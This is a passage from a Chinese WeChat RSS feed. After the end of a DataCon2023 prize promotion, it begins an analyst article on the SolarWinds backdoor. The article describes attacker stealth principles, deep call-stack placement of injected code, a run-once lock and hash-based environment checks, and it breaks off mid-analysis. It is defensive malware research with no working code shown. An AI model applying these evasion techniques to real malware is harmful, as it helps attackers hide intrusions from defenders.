src="https://wechat2rss.xlab.app/img-proxy/?k=265114a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRicNZQMn3FU7PHlQlMn2SxKXXqLbSJp0dIVarEcs395wOabSrdtxFicCMmwWfg9sqsMlsSWibX2y9EuVoLyh91UVw%2F640%3Fwx_fmt%3Dpng"/><br/><em><span style="font-size: 14px;color: rgb(0, 32, 96);">扫码进入DataCon2023交流群</span></em><br/></p><p style="text-align:center;"><br/></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">希望我们的努力</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">可以给你带来更多方向和灵感</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">期待你的参加</span></p><p style="text-align:center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">让我们一起做好</span><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;color: rgb(0, 32, 96);"><strong>数据安全分析</strong></span><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">这件事儿</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="133938" data-color="#002060"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="flex-shrink: 0;z-index: 9;"><section style="width: 35px;"><svg data-name="组 56" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 88.907 62.09" style="display: block;"><circle data-name="椭圆 1" style="fill: #5271ff;" cx="74.25" cy="47.09" r="14.656"></circle><circle data-name="椭圆 1 拷贝 4" style="fill: #f2f2f2;stroke: #0d2696;stroke-width: 2px;" cx="74.406" cy="47.26" r="4.969"></circle><path data-name="椭圆 3" style="fill: none;stroke: #23156f;stroke-width: 3px;fill-rule: evenodd;" d="M184.036,2853.09a4.43,4.43,0,0,1-.594,2.42c-3.593,6-22.444,1.5-42.106-10.03s-32.69-25.76-29.1-31.75,22.443-1.5,42.106,10.04q1.869,1.095,3.657,2.22" transform="translate(-110.156 -2809.63)"></path></svg></section></section><section style="margin-left: -15px;display: flex;"><section style="padding: 4px 15px 4px 25px;font-size: 16px;color: rgb(242, 242, 242);text-align: center;background-color: rgb(0, 32, 96);display: flex;align-items: center;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text">分享抽好礼</strong></span></section><section style="flex-shrink: 0;"><section style="width: 12px;"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 22.469 80" style="display: block;"><path style="fill: #002060;fill-rule: evenodd;" d="M528.652,2816.73s-1.443,5.62.978,7.56c0,0-3.928,7.86-3.909,9.74s2.931,7.56,2.931,7.56l6.839,6.49-6.839,8.65s-3.846,6.62-1.954,7.57,3.873,4.87,3.908,5.4,0.978,6.49.978,6.49l2.931,2.16-2.931,5.4,3.907,4.33-0.976,3.24,1.954,5.41H514v-80h14.655Z" transform="translate(-514 -2816.72)"></path></svg></section></section></section></section></section><p><br/></p><section data-tools="135编辑器" data-id="94886"><section data-width="100%" style="width: 100%;"><section style="background: rgb(242, 242, 242);"><section data-autoskip="1" style="padding: 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);"><p style="line-height: 1.75em;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><span style="color: rgb(0, 32, 96);"><strong>活动规则：</strong></span>关注DataCon公众号+分享本篇文章至朋友圈或网络安全相关社群，赢取DataCon2023定制纪念礼品。（分组、开奖前删除、开奖后发布均视为无效）</span></p><p style="line-height: 1.75em;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong><span style="color: rgb(0, 32, 96);">开奖时间: </span></strong>11月7日 12:00</span></p></section></section><section style="margin-top: -18px;margin-right: 1em;text-align: right;"><section style="width: 4em;height: 4px;background: rgb(7, 44, 151);display: inline-block;overflow: hidden;"><br/></section></section></section></section></section></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6666666666666666" data-s="300,640" style="width: 240px;height: 160px;" data-type="jpeg" data-w="759" src="https://wechat2rss.xlab.app/img-proxy/?k=819db83a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU79GGicbt155ZH7lDdQec64CjcoZicIOpuiaHtoQvFPPIBlR86mI2KXs0F6jXNjBQibuJaY9Fmic8wJOaQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><br/></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="108106"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="width: 31.5%;max-width: 31.5% !important;" data-width="31.5%"><section style="width: 100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="1" title="微信图片_20231017110105.jpeg" data-type="png" data-w="750" data-width="100%" style="vertical-align: inherit;width: 100%;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=919e2ab1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRicNZQMn3FU79GGicbt155ZH7lDdQec64CRuGVAgJsa5ic266e7RL7iaALcO5iaZiaTziaaXL4zuay2Ino5CZAiaT7PVmg%2F640%3Fwx_fmt%3Dpng"/></section><section style="background-color: rgb(242, 242, 242);padding: 4px;margin-top: 3px;"><p style="font-size: 13px;letter-spacing: 1.5px;line-height: 1.5em;"><span style="color:#002060;">一等奖</span></p><p style="font-size: 13px;letter-spacing: 1.5px;line-height: 1.5em;"><span style="color:#002060;">极客</span><span style="color: rgb(0, 32, 96);">桌面控制器</span><strong><span style="color: rgb(0, 32, 96);"></span></strong></p></section></section><section style="width: 31.5%;max-width: 31.5% !important;" data-width="31.5%"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 12px;color: #1a1a1a;line-height: 12px;"><span style="color: rgb(0, 32, 96);font-size: 15px;"><strong>奖品信息</strong></span></section><section style="width: 100%;height: 5px;margin-top: -5px;background-color: rgb(235, 235, 255);overflow: hidden;" data-width="100%"><br/></section></section><section style="display: flex;justify-content: center;margin-top: 4px;margin-bottom: 4px;"><section style="width: 1px;height: 45px;background-color: rgb(104, 104, 172);overflow: hidden;"><br/></section></section><section style="width: 100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="1" title="微信图片_20231017110543.png" data-type="png" data-w="765" data-width="100%" style="vertical-align: inherit;width: 100%;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=fbde470b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRicNZQMn3FU79GGicbt155ZH7lDdQec64C7ibiaHM8ChnvBZXtP1HsVzvB2T19hcEwKXB2EHhh4ECiaQA9R9LhQll3w%2F640%3Fwx_fmt%3Dpng"/></section><section style="background-color: rgb(242, 242, 242);padding: 4px;margin-top: 3px;"><section data-brushtype="text" style="font-size: 13px;letter-spacing: 1.5px;color: #1a1a1a;"><p style="line-height: 1.5em;"><span style="color: rgb(0, 32, 96);">二等奖</span></p><p style="line-height: 1.5em;"><span style="color: rgb(0, 32, 96);">五周年</span><span style="color: rgb(0, 32, 96);">定</span><span style="color: rgb(0, 32, 96);">制版服饰</span><strong><span style="color: rgb(0, 32, 96);"></span></strong></p></section></section></section><section style="width: 31.5%;max-width: 31.5% !important;" data-width="31.5%"><section style="width: 100%;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="1" title="640.jpg" data-type="png" data-w="704" data-width="100%" style="vertical-align: inherit;width: 100%;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b4c1de0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRicNZQMn3FU79GGicbt155ZH7lDdQec64CNU2a0emUXqJPf8bZKMe2dKB5KRBYI4WOibMQmJek3F1wlNaTkV14F8g%2F640%3Fwx_fmt%3Dpng"/></section><section style="background-color: rgb(242, 242, 242);padding: 4px;margin-top: 3px;"><section data-brushtype="text" style="font-size: 13px;letter-spacing: 1.5px;color: #1a1a1a;"><span style="color:#002060;">三等奖</span></section><section data-brushtype="text" style="font-size: 13px;letter-spacing: 1.5px;color: #1a1a1a;"><span style="color:#002060;">定制版背包</span><strong><span style="color:#002060;"></span></strong></section></section></section></section></section></section></section><p><br/></p><section data-role="outer" label="edit by 135editor"><section data-id="102780" data-tools="135编辑器"><section data-role="animate" style="width: 100%;vertical-align: top;overflow: auto;scroll-snap-type: x mandatory;" data-width="100%"><section data-divisor="1" style="width: 400%;display: flex;flex-flow: row;max-width: 400% !important;" data-width="400%"><section style="vertical-align: middle;width: 25%;scroll-snap-align: center;max-width: 25% !important;" data-width="25%"><section style="text-align: left;line-height: 0;"><section style="vertical-align: middle;line-height: 0;width: 100%;height: auto;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.6657407407407407" title="3.jpg" data-type="jpeg" data-w="1080" data-width="100%" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9cb51b2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU7PHlQlMn2SxKXXqLbSJp0dlwqx0mqaTJ4TqhPLxEibRQK2BIkmjQdEa3IrUrvSJdH8JvckNNibOiayA%2F640%3Fwx_fmt%3Djpeg"/></section></section></section><section style="vertical-align: top;width: 25%;scroll-snap-align: center;max-width: 25% !important;" data-width="25%"><section style="text-align: left;line-height: 0;"><section style="vertical-align: middle;line-height: 0;width: 100%;height: auto;" data-width="100%"><img data-ratio="0.6657407407407407" title="2.jpg" data-type="jpeg" data-w="1080" data-width="100%" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=554a9c8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU7PHlQlMn2SxKXXqLbSJp0dBFPkKEeNiaXnNicYkz8LOwHuUubARQhiaKnaGJQ9kDHpkkfiba4Y9KpRFw%2F640%3Fwx_fmt%3Djpeg"/></section></section></section><section style="vertical-align: top;width: 25%;scroll-snap-align: center;max-width: 25% !important;" data-width="25%"><section style="text-align: left;line-height: 0;"><section style="vertical-align: middle;line-height: 0;width: 100%;height: auto;" data-width="100%"><img data-ratio="0.6657407407407407" title="4.jpg" data-type="jpeg" data-w="1080" data-width="100%" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=715ad9f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU7PHlQlMn2SxKXXqLbSJp0dYLiaMhSJn7p8ibLEOjSNuuWOt5r8yF7rnuqvDfTIGPDPqT30nKgpHDOw%2F640%3Fwx_fmt%3Djpeg"/></section></section></section><section style="vertical-align: top;width: 25%;scroll-snap-align: center;max-width: 25% !important;" data-width="25%"><section style="text-align: left;line-height: 0;"><section style="vertical-align: middle;line-height: 0;width: 100%;height: auto;" data-width="100%"><img data-ratio="0.6657407407407407" title="1.jpg" data-type="jpeg" data-w="1080" data-width="100%" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=58957ff2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU7PHlQlMn2SxKXXqLbSJp0drGR0QdfbMf2w1YzgtcZnDFLk4gTjgaUmzbdaVHhRTiamGiczeEXAIplQ%2F640%3Fwx_fmt%3Djpeg"/></section></section></section></section></section><section><p style="text-align:center;vertical-align: inherit;line-height: 30px;font-size: 12px;letter-spacing: 2px;"><span style="color: rgb(0, 32, 96);font-size: 14px;"><em>DataCon历年回顾</em></span><br/></p></section></section><section data-role="paragraph"><p><br/></p></section></section><p style="text-align:justify;margin-bottom: 24px;letter-spacing: 0.578px;"><img class="rich_pages wxw-img __bg_gif" data-backh="321" data-backw="578" data-galleryid="" data-ratio="0.5555555555555556" style="outline: 0px;letter-spacing: 0.544px;text-align: center;text-wrap: wrap;width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible !important;" data-type="gif" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=5ec98a26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FRicNZQMn3FU60xUTPeBAsbg50dTbbXniaJYEhUxTN3l3ibCibboicDjVXR3khicEow9WfLWlMFz8aHLz2CgVib3XibQd2w%2F640%3Fwx_fmt%3Dgif"/></p><p style="text-align:justify;margin-bottom: 24px;letter-spacing: 0.578px;"><span style="font-size: 14px;">点击<strong><span style="font-size: 14px;color: rgb(0, 32, 96);">&#34;阅读原文&#34;</span></strong>进入官网报名</span></p></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://datacon.qianxin.com/datacon2023">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d0733fe4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483914%26idx%3D1%26sn%3Daa20b7e824caa8b27f3d973c2d173b12%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Oct 2023 11:35:00 +0800</pubDate>
    </item>
    <item>
      <title>从Solarwinds供应链攻击（金链熊）看APT行动中的隐蔽作战</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&amp;mid=2247483909&amp;idx=1&amp;sn=2a9d34678a3dc0980b4904e398accc5d</link>
      <description>APT攻击不是单纯的安全事件，而是不见硝烟的战争。我们面对的是成组织、成建制的攻击，作为样本分析人员应当扮演侦察兵的角色，最大化提升自己的行动意识与攻击视界，同时磨练出对等作战的能力，否则必将在战斗中一败涂地。</description>
      <content:encoded><![CDATA[<p>
原创 <span>zcgonvh&amp;amp;&amp;amp;rem4x</span> <span>2020-12-23 11:44</span> <span style="display: inline-block;"></span>
</p>

<p>APT攻击不是单纯的安全事件，而是不见硝烟的战争。我们面对的是成组织、成建制的攻击，作为样本分析人员应当扮演侦察兵的角色，最大化提升自己的行动意识与攻击视界，同时磨练出对等作战的能力，否则必将在战斗中一败涂地。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=97d44f4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzZic0ITw9ngrU7nQNAI9BGgGOPMKRFLBMV115vOnGic7ZsVxYTTD2VicqA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.4072072072072072" data-s="300,640" style="" data-type="png" data-w="555" src="https://wechat2rss.xlab.app/img-proxy/?k=2feac0bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzUY7vA1uiae9cv7s24PGmseoH9HzicfoDc5b2ibHpVFMSE4MTpmSIdDAwQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;">作者：zcgonvh &amp;&amp; rem4x<br/></p><p style="text-align: left;">校对：<span style="text-align: left;">zcg</span><span style="text-align: left;">onvh、</span><span style="text-align: left;">rem</span><span style="text-align: left;">4x</span>、n1nty、L.N.</p><p style="text-align: left;">编辑：L.N.</p><p style="text-align: left;"><br/></p><section style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x10 前言</span></strong></section><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;text-indent: 2em;text-align: justify;">有过实战经历的红队成员都应知晓，</span><span style="font-size: 15px;letter-spacing: 0.5px;text-indent: 2em;text-align: justify;color: rgb(255, 79, 121);">任意</span><span style="font-size: 15px;letter-spacing: 0.5px;text-indent: 2em;text-align: justify;">行动在</span><span style="font-size: 15px;letter-spacing: 0.5px;text-indent: 2em;text-align: justify;color: rgb(255, 79, 121);">任意</span><span style="font-size: 15px;letter-spacing: 0.5px;text-indent: 2em;text-align: justify;">路径下，可能被捕获的</span><span style="font-size: 15px;letter-spacing: 0.5px;text-indent: 2em;text-align: justify;color: rgb(255, 79, 121);">任意</span><span style="font-size: 15px;letter-spacing: 0.5px;text-indent: 2em;text-align: justify;">行为，均可能造成行动暴露。站在攻击者的角度思考，这里体现了三个信息：</span><br/></section><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 0.5px;">1. 攻击者在行动前，应意识到可能导致行动暴露的信息，并制定<strong style="text-indent: 34px;white-space: normal;"><span style="letter-spacing: 0.5px;">避免</span></strong>方式。</span></strong></span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 0.5px;">2. 攻击者在行动时，应严格按照行动前的隐蔽<strong style="text-indent: 34px;white-space: normal;"><span style="letter-spacing: 0.5px;">条例</span></strong><strong style="text-indent: 34px;white-space: normal;"><span style="letter-spacing: 0.5px;">作战</span></strong>，并及时处理突发情况。</span></strong></span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 0.5px;">3. 攻击者在行动后，应清理遗留信息，并封存已用资源。</span></strong></span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">考虑现阶段安全环境现状，无论是基于主机或是基于网络的防御均日趋完善，完美的隐藏在现实中是不可能的。攻击者能够做到的只是尽量隐匿而不可能完全隐身，无论多么完美的手段都会留下痕迹，这也是攻击侧广为人知却又颇为无奈的事实。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">这些不可避免的痕迹构成了防御侧的情报基础。利用这些情报信息，虽然事前的情形我们无从知晓，但是在事中和事后，我们捕获的攻击行为，提供了直接触碰攻击组织的窗口，其中任何有价值的信息均可以作为证据。这些证据无论在事中止损，还是事后溯源，乃至攻击反制都将起到极大作用。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">基于现有的事实，结合多维度的分析与推断，最终能够描绘出较完善的攻击者画像。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">本文从全局出发，以技术作为手段，以代码、手法和行为作为支撑。通过推测对方的实际行为、人员配比、后续行动，尽最大可能窥视并揭露行动背后掩藏的真相。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">这不是威胁情报文章，因此我们不会花费大量的篇幅在描述常规背景、威胁影响与IOC上面，这对从更高维度观察APT威胁毫无帮助。这也不是样本分析文章，我们同样不会花费大量的篇幅描述如何逆向代码、如何使用工具或是发现了某种调用表明做了某些事等等，这些常规代码分析与猜测在针对类似组织的行动时，是极为苍白无力的。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">我们希望将实际行动的思想融入到样本分析与APT追踪，同时借此文揭露的真实APT手段，为安全从业者敲响警钟：</span><span style="letter-spacing: 0.5px;font-size: 16px;"><strong>APT攻击不是单纯的安全事件，而是不见硝烟的战争。我们面对的是成组织、成建制的攻击，作为样本分析人员应当扮演侦察兵的角色，最大化提升自己的行动意识与攻击视界，同时磨练出对等作战的能力，否则必将在战斗中一败涂地。</strong></span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">根据行业知识的积累与逻辑思维理解的不同，理解本文至少需要一天至一周的时间。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></p><h1 style="margin-top: 5px;text-indent: 0em;text-align: left;"><span style="font-size: 24px;"><strong><span style="letter-spacing: 0.5px;">0x20 代码</span></strong></span></h1><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 2em;margin-top: 10px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">有别于样本分析，在探究一个组织真正的目的时，我们不应该过多的关心API是如何调用的、读了什么、写了什么或是用什么加密算法进行了什么变换等细枝末节。举个最简单的例子，msfvenom可以使用任意encoder进行编码，大部分encoder中都存在随机字节用于将输出随机化（例如alpha），这样的样本数量可以认为是无限的。</span><br/></section><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">我们在分析时不会关心alpha编码使用了哪个随机字符作为混淆，因为这是毫无意义的。类比于此，任何攻击者都可能将具体技术进行等价替换，例如：key随机化、加密算法随机化、等效API代替等等。如果一次事件分析仅仅关心相似的细枝末节，把加密key和算法、调用的API、发送的数据包等细节输出成文。这样的文章在整体的攻击行为追溯上可以说是非常失败的。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">事实上我们应当首先把自己的角度转化为攻击者角度。作为攻击者只用关心一点：样本中的代码能为行动起到何种推进？带着这个疑问再转回分析人员，对每一段代码功能进行提问：为什么对方的行动需要设计此功能？随即又转回攻击者：我拿到了这段代码的执行结果/我实现了这个操作以后，我要做什么？</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">有了依据事实而得出的合理推测，结合情报获取到的实质证据，我们至少在行动手段上能够为攻击者制造画像，甚至可以为后续<strong>战术</strong>甚至<strong>战略</strong>层面分析提供大量的帮助。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">这才是代码层面分析的核心目的。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></p><h2 style="margin-top: 5px;text-indent: 0em;text-align: left;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x21 入口选择</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">根据火眼的分析报告，恶意代码包含在SolarWinds.Orion.Core.BusinessLayer.dll中，恶意类名称为SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer，其入口点是Initialize方法。</span><br/></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">我们不要匆匆忙忙的进行分析，首先思考一个问题：此dll具有合法的签名，很显然攻击者从源码阶段进行了控制，那么最初的突破点在哪里？考虑软件工程的工作流程，攻击者最有可能发起感染的位置是代码仓库，这样能够最大限度避开commit之前的review，以及提交期间的自动化代码扫描，防止在开发阶段被发觉。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">代码仓库必然会包含多套代码，那么再思考这样一个问题：为什么恶意代码会放置于此dll中，此代码谁又会进行调用？类比Web攻击中的后门驻留，恶意代码插入的位置实际上能在某种意义上决定存活时间，而对于位置的选择往往能直接反映攻击者的行动思路。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">带着这个疑问查看恶意代码交叉引用，我们可以得到以下（图0）调用堆栈：</span></p><p style="margin-top: 5px;text-align: left;text-indent: 0em;margin-bottom: 5px;"><shape type="#_x0000_t75" filled="f"><imagedata title="image1"></imagedata></shape><img data-ratio="0.1346938775510204" style="width:553.72998046875px;height:74.5999984741211px;" data-type="png" data-w="980" src="https://wechat2rss.xlab.app/img-proxy/?k=74575549&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzsMKFDFNzQmTibZMe8ibGPMe1uJCE1CU5ZMPWA9MmuKLwXIicUWkCtUbYw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;">图0<br/></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">恶意代码被插入至RefreshInternal方法中，而非常规的入口方法。实际的入口方法Start作为父类BusinessLayerPlugin的重写，将在主进程SolarWinds.BusinessLayerHost.exe中被调用，中间有着很长的代码路径。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">攻击者选择了一个非常深层次的调用堆栈，用来降低代码重构期间被发现的可能。同时，藏匿在C#托管类库，而非直接寄生于主程序本体，实际上也属于后续运行期间的掩护手段之一。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">再关注具体实现：RefreshInternal方法中插入了以下代码（图1）。此代码用于检测是否启动，如未启动将开启新线程运行恶意代码：</span></p><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-backh="101" data-backw="554" data-ratio="0.18208516886930984" style="width: 100%;height: auto;" data-type="png" data-w="681" src="https://wechat2rss.xlab.app/img-proxy/?k=8486daf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzWlodH45c3oXejygzkJSnKUSuAuqZNVkDpogJu7dPzZnAGcyCXcjRgQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.5px;">图1</span></section><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">检查项IsAlive进行了全局锁（图2），保证了在插件运行期间只有一个实例运行。</span></p><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.8527397260273972" data-backh="249" data-type="png" data-w="292" style="width: 100%;height: auto;" data-backw="292" src="https://wechat2rss.xlab.app/img-proxy/?k=b1ddca19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz3MqschBb9WEc9iaLNuXuEAWE0pxM8EhWwmrWknicrV92WmicdspicNsm6w%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><span style="font-size: 15px;letter-spacing: 0.5px;">图2</span></section><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">是的，此后门在插件生存周期内只会运行一次。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">在后续分析中还将看到大量类似的行为，这是和常规攻击完全不一样的点。</span></p><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><br/></h2><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x22 环境检测</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">在执行后门功能前，代码将进行长达9层的判断，用于检测当前运行环境。</span><br/></section><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">几乎所有的判断都是通过自定义hash算法进行的，这保证了无论是在源码，还是在编译后的程序集中，均不会存在敏感字符串，从而降低被查杀的可能，对于开发期间可能的人工检测也是一种掩护。</span></p><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">后门首先会检测父进程名的hash是否为17291806236368054941（图3），对应进程名SolarWinds.BusinessLayerHost.exe（国内部分翻译型安全团队的结论几乎照抄了FireEye的结论，且包含初期的笔误，欲见详情请在“搜一搜”中搜索关键字：SolarWindws.BusinessLayerHost。）。考虑到整体的谨慎性，这可以理解成防止在多进程中多次加载的双保险，也可以认为是一个基本的反调试验证。</span></p><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-backh="26" data-backw="554" data-ratio="0.04767726161369193" style="width: 100%;height: auto;" data-type="png" data-w="818" src="https://wechat2rss.xlab.app/img-proxy/?k=58ba671f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzOOY64W8FTYDvJOiafkriayvCqNTRSibdOicojwjtPNQmvDxDbFib4wbEbuQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.5px;">图3</span></section><p style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 